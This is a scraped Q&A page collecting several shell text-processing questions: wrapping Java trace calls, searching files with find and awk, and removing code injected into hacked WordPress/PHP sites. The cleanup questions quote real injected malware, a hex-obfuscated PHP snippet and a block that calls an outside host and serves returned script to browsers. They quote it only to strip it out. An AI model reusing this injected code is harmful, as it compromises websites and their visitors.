As a part of optimisation, I am trying to replace all Java files containing the string:
logger.trace("some trace message");
With:
if (logger.isTraceEnabled())
{
logger.trace("some trace message");
}
N.B. Some trace message is not the exact string but an example. This string will be different for every instance.
I am using a bash script and sed but can't quite get the command right.
I have tried this in a bash script to insert before:
traceStmt="if (logger.isTraceEnabled())
{
"
find . -type f -name '*.java' | xargs sed "s?\(logger\.trace\)\(.*\)?\1${traceStmt}?g"
I have also tried different variants but with no success.
Try the following using GNU sed:
$ cat file1.java
1
2
logger.trace("some trace message");
4
5
$ find . -type f -name '*.java' | xargs sed 's?\(logger\.trace\)\(.*\)?if (logger.isTraceEnabled())\n{\n \1\2\n}?'
1
2
if (logger.isTraceEnabled())
{
logger.trace("some trace message");
}
4
5
$
If you would like to prevent adding new line endings
sed will add \n to the end of files that do not end in \n)
You could try like:
perl -pi -e 's/logger.trace\("some trace message"\);/`cat input`/e' file.java
notice the ending /e
The evaluation modifier s///e wraps an eval{...} around the replacement string and the evaluated result is substituted for the matched substring. Some examples:
In this case from your example, the file input contains:
if (logger.isTraceEnabled())
{
logger.trace("some trace message");
}
If have multiple files you could try:
find . -type f -name '*.java' -exec perl -pi -e 's/logger.trace\("some trace message"\);/`cat input`/e' {} +
Related
I have got plenty of files in different location including */synth/debug/* in their path pattern, all files have got *.list extension. Files look like:
MODULE XYZ
SIGNED_A 0
WIDTH 12
SIGNED_B 1
(...)
MODULE XXX
SIGNED_A 1
WIDTH 12
SIGNED_B 0
(...and so on...)
I need to find first file with MODULE XXX (the same for XYZ and so on) and SIGNED*1 pattern in the first 3 line after MODULE XXX and stop searching. SIGNED word appears always in 1-3 line after MODULE.
I've got something like that:
find . -name *.list -path "*/synth/debug/*" -type f -exec grep -FHI "MODULE XXX" -A 3 {} \; | grep "SIGNED 1" -A 3 | head -1
but got:
find: ‘grep’ terminated by signal 13
after first (correct) occurence and the command still searching and parsing files wasting the time.
Using awk
find . -name *.list -path "*/synth/debug/*" -type f -exec awk '/MODULE XXX/{xxx=1;next}xxx{xxx+=1}/SIGNED.*1/&&xxx<=4{print FILENAME; exit}xxx>4{nextfile;}ENDFILE{xxx=0}' {} +
Output is name of the first file matching your conditions
Remove xxx>4{nextfile;} if a file contains multiple MODULE XXX blocks
To process every module in 1 command :
find . -name *.list -path "*/synth/debug/*" -type f -exec awk '/MODULE/{current=$2; line=1; next}current in results{next;}{line+=1}/SIGNED.*1/&&line<=4{results[current]=FILENAME}END{for(module in results){print module, results[module]}}' {} +
Output : module name + first file matching conditions :
ABC file2.txt
XXX file1.txt
XYZ file1.txt
How can I combine the result of commands find and grep in the format: filename: => string?
For example, find . -maxdepth 2 -type f -name .env -exec grep 'CURRENT_ENV' {} \; The command will display me the line when CURRENT_ENVstring found, e.g. CURRENT_ENV=staging. I want to modify the output in the follow way: ./site1.com: CURRENT_ENV=staging.
I can't understand How can I reach that. Is it possible?
-H, --with-filename
Print the file name for each match. This is the default when
there is more than one file to search.
http://man7.org/linux/man-pages/man1/grep.1.html
I have several 1000 WP files that were injected with string such as the following:
I know I can do a replace with something like this:
find . -type f -exec sed -i 's/foo/bar/g' {} +
But I am having a problem getting the large string to be taken correctly. All the " and ' cause the string to jump out of my CLI.
Below is a sample string:
<?php if(!isset($GLOBALS["\x61\156\x75\156\x61"])) { $ua=strtolower($_SERVER["\x48\124\x54\120\x5f\125\x53\105\x52\137\x41\107\x45\1162]y4c##j0#67y]37]88y]27]28y]#%x5c%x782fr%x5c%x7825%x5%x7825s:*<%x5c%x7825j:,,Bjg!)%x5c%x7825j:>>1*!%x5c%x7825b:>1pde>u%x5c%x7825V<#65,47R25,d7R17,67R37,#%x5c%x7827!hmg%x5c%x7825!)!gj!<2,*j%x5c%x7825!-#1]#-bubE{h%x5c%x8984:71]K9]77]D4]82]K6]72]K9]78]K5]53]Kc#<%x5cujojRk3%x5c%x7860{666~7878Bsfuvso!sboepn)%x5c%x7825epnbss-x7827{ftmfV%x5c%x787f<*X&Z&S{ftmfV%x5c%x787f<*XAZASV<*w%x5c%x7825)p5c%x782f#00;quui#>.%x5c%x7825!<***f%x5c%x7827,111127-K)ebfsX%x5c%x7827u%x5c%x7825)7fmji%x5c%x7x7825)323ldfidk!~!<**qp%x5c%x7825!-uyfu%x5c%x7825)3of)fepdof%x5c%xp!*#opo#>>}R;msv}.;%x5c%x782f#%x5c%x782f#%x5c%x782f},;#-#}+;%x5c%x7%x78257-K)fujs%x5c%x7878X6<#o]o]Y%x5c%x78257;uc%x7825Z<#opo#>b%x5c%x7<!fmtf!%x5c%x7825b:>%x5c%x7825s:%x5c%x70QUUI7jsv%x5c%x78257UFH#%x5c%x7827rfs%x5c%x78256~6<%x!Ydrr)%x5c%x7825r%x5c%x%x5c%x7825%x5c%x7827Y%x5c%x78256<.msv%x5cq%x5c%x7825%x5c%x785cSFWSFT%x5c%x7860%x5c%x7825}X;!s%x5c%x782fq%x5c%x7825>U<#16,47R57,27R66,#%x5c%x782fq%x560msvd}+;!>!}%x5c%x7827;!>tpI#7>%x5c%x782f7rfs%x5c%x78256<#o]1%x5c%x782f2e:4e, $rzgpabhkfk, NULL); $qenzappyva=$rzgpabhkfk; $qenzappyva=(798-677); $rlapmcvoxs=$qenzappyva-1; ?>
EXAMPLE of what I tried:
perl -pi -e 's/<?php if(!isset($GLOBALS["\x61\156\x75\156\x61"])) { $ua=strtolower($_SERVER["\x48\124\x54\120\x5f\125\x53\105\x52\137\x41\107\x45\116\x54"]); if ((! strstr($ua,"\x6d\163\x69\145")) and (! strstr($ua,"\x72\166\x3a\61\x31"))) $GLOBALS["\x61\156\x75\156\x61"]=1; } ?><?php $rlapmcvfunction fjfgg($n){%x7825_t%x5c%x7825:osvufs:~:<*9-1-r%x5c%x7825)s%x5c%x7825>%x5c%x782c%x7824*!|!%x5c%x7824-...x2a\57\x20"; $qenzappyva=substr($rlapmcvoxs,(48535-38422),(59-47)); $qenzappyva($rrzeotjace, $rzgpabhkfk, NULL); $qenzappyva=$rzgpabhkfk; $qenzappyva=(798-677); $rlapmcvoxs=$qenzappyva-1; ?>//g' /home/......../content-grid.php
-bash: !: event not found
If the match is identical and on a separate line you can use comm
comm -23 source subtract
where subtract is the file with the contents to be removed from the source file. It's not an in place replacement so you have to create a temp file and overwrite the source after making sure it does what you need.
If you don't care about the extra newline, the simple approach using sed would be:
find . -type f -exec sed -i 's/.*\\x61\\156\\x75\\156\\x61.*$//g' {} +
sed can also handle the newline, but that is a little more complex.
I'm trying to clean up a security breach. I want to find all instances of the offending PHP code on the web directory and remove them. It looks like this:
<?php
#c9806e#
error_reporting(0); ini_set('display_errors',0); $wp_xoy23462 = #$_SERVER['HTTP_USER_AGENT'];
if (( preg_match ('/Gecko|MSIE/i', $wp_xoy23462) && !preg_match ('/bot/i', $wp_xoy23462))){
$wp_xoy0923462="http://"."template"."class".".com/class"."/?ip=".$_SERVER['REMOTE_ADDR']."&referer=".urlencode($_SERVER['HTTP_HOST'])."&ua=".urlencode($wp_xoy23462);
$ch = curl_init(); curl_setopt ($ch, CURLOPT_URL,$wp_xoy0923462);
curl_setopt ($ch, CURLOPT_TIMEOUT, 6); curl_setopt($ch, CURLOPT_RETURNTRANSFER, 1); $wp_23462xoy = curl_exec ($ch); curl_close($ch);}
if ( substr($wp_23462xoy,1,3) === 'scr' ){ echo $wp_23462xoy; }
#/c9806e#
?>
<?php
?>
(c9806e is a random alphanumeric string)
I've found lots of resources for using find, sed, and grep to replace simple things. I can probably cobble up something based on all that, but I would not be sure that it works, or that it won't break anything.
Here are the tools I have:
GNU Awk 3.1.7
GNU grep 2.6.3
GNU sed 4.2.1
GNU find 4.4.2
Here's the offending code with escaped characters.
<\?php
#\w+#
error_reporting\(0\); ini_set\('display_errors',0\); $wp_xoy23462 = #$_SERVER\['HTTP_USER_AGENT'\];
if \(\( preg_match \('/Gecko\|MSIE/i', $wp_xoy23462\) && !preg_match \('/bot/i', $wp_xoy23462\)\)\)\{
$wp_xoy0923462="http://"\."template"\."class"\."\.com/class"\."/\?ip="\.$_SERVER\['REMOTE_ADDR'\]\."&referer="\.urlencode\($_SERVER\['HTTP_HOST'\]\)\."&ua="\.urlencode\($wp_xoy23462\);
$ch = curl_init\(\); curl_setopt \($ch, CURLOPT_URL,$wp_xoy0923462\);
curl_setopt \($ch, CURLOPT_TIMEOUT, 6\); curl_setopt\($ch, CURLOPT_RETURNTRANSFER, 1\); $wp_23462xoy = curl_exec \($ch\); curl_close\($ch\);\}
if \( substr\($wp_23462xoy,1,3\) === 'scr' \)\{ echo $wp_23462xoy; \}
#/w+#
\?>
<\?php
\?>
Edit: As it turned out, some of the linebreaks were \r\n instead of \n. (Others were just '\n'.)
sed -n '1! H;1 h
$ {x
: again
\|<?php\n#\([[:alnum:]]\{1,\}\)#\nerror_reporting(0).*#/\1#\n?>\n<\?php\n\n\?>| s///
t again
p
}'
version that seems to work on GNU sed (thanks #leewangzhong)
sed -n '1! H;1 h
$ {x
: again
\|<?php\r*\n#\([[:alnum:]]\{6\}\)#\nerror_reporting(0).*#/\1#\r*\n?>\r*\n<?php\r*\n\r*\n?>| s///
t again
p
}'
Try something like this but it depend really of internal code format (\n, space, ...)
concept:
load all the file in buffer (sed work line by line by default) to allow the \n pattern
1! H;1 h
is used for loading each line at read time (from working buffer) into hold buffer
$ {x
take back x info from hold buffer into working buffer (swap content in fact) when at the last line $, so sed is now working on the full file including \n at end of each line
search and modify (remove) a pattern starting with
if found one, restart the operation (so with a new ID)
if not found (so no more bad code), print the result (cleaned code)
Using Python instead of sed for the replacement.
The regex:
<\?php\s+#(\w+)#\s+error_reporting\(0\)[^#]+#/\1#\s+\?>[^>]+>
The regex with comments:
<\?php #Start of PHP code (escape the '?')
\s+ #Match any number of whitespace
#(\w+)#\s+ #Hax header: one or more alphanumeric
#symbols, and use parens to remember this group
error_reporting\(0\) #To be really sure that this isn't innocent code,
#we check for turning off error reporting.
[^#]+ #Match any character until the next #, including
#newlines.
#/\1#\s+ #Hax footer (using \1 to refer to the header code)
\?> #End of the PHP code
[^>]+> #Also catch the dummy <?php ?> that was added:
#match up to the next closing '>'
# $find . -type f -name "*.php" -exec grep -l --null "wp_xoy0923462" {} \; | xargs -0 -I fname python unhaxphp.py fname >> unhax.out
The Python script:
#Python 2.6
import re
haxpattern = r"<\?php\s+#(\w+)#\s+error_reporting\(0\)[^#]+#/\1#\s+\?>[^>]+>"
haxre = re.compile(haxpattern)
#Takes in two file paths
#Prints from the infile to the outfile, with the hax removed
def unhax(input,output):
with open(input) as infile:
with open(output,'w') as outfile:
whole = infile.read() #read the entire file, yes
match = haxre.search(whole)
if not match: #not found
return
#output to file
outfile.write(whole[:match.start()]) #before hax
outfile.write(whole[match.end():]) #after hax
#return the removed portion
return match.group()
def process_and_backup(fname):
backup = fname+'.bak2014';
#move file to backup
import os
os.rename( fname, backup )
try:
#process
print '--',fname,'--'
print unhax(input=backup, output=fname)
except Exception:
#failed, undo move
os.rename( backup, fname)
raise
def main():
import sys
for arg in sys.argv[1:]:
process_and_backup(arg)
if __name__=='__main__':
main()
The command:
find . -type f -name "*.php" -exec grep -l --null "wp_xoy0923462" {} \; | xargs -0 -I fname python unhaxphp.py fname >> unhax.out
The command, explained:
find #Find,
. #starting in the current folder,
-type f #files only (not directories)
-name "*.php" #which have names with extension .php
-exec grep #and execute grep on each file with these args:
-l #Print file names only (instead of matching lines)
--null #End prints with the NUL char instead of a newline
"wp_xoy0923462" #Look for this string
{} #in this program ("{}" being a placeholder for `find`)
\; #(End of the -exec command
| #Use the output from above as the stdin for this program:
xargs #Read from stdin, and for each string that ends
-0 #with a NUL char (instead of whitespace)
-I fname #replace "fname" with that string (instead of making a list of args)
#in the following command:
python #Run the Python script
unhaxphp.py #with this filename, and pass as argument:
fname #the filename of the .php file to unhax
>> unhax.out #and append stdout to this file instead of the console
I'm using command line and sed. I need a command to delete from multiple files recursively.
I have left comments such as:
<!--String 1 -->
Code to delete goes here
<!--String 2 -->
So I need to delete string 1, the text in between and string 2, in all files in the current directory and below.
Would appreciate any help :)
Just use addresses:
sed -e '/<!--String 1 -->/,/<!--String 2 -->/d'
Update: to apply the sed command recursively to files under a path, you can use find:
find /path/to/directory -type f -exec sed -e '/<!--String 1 -->/,/<!--String 2 -->/d' {} \;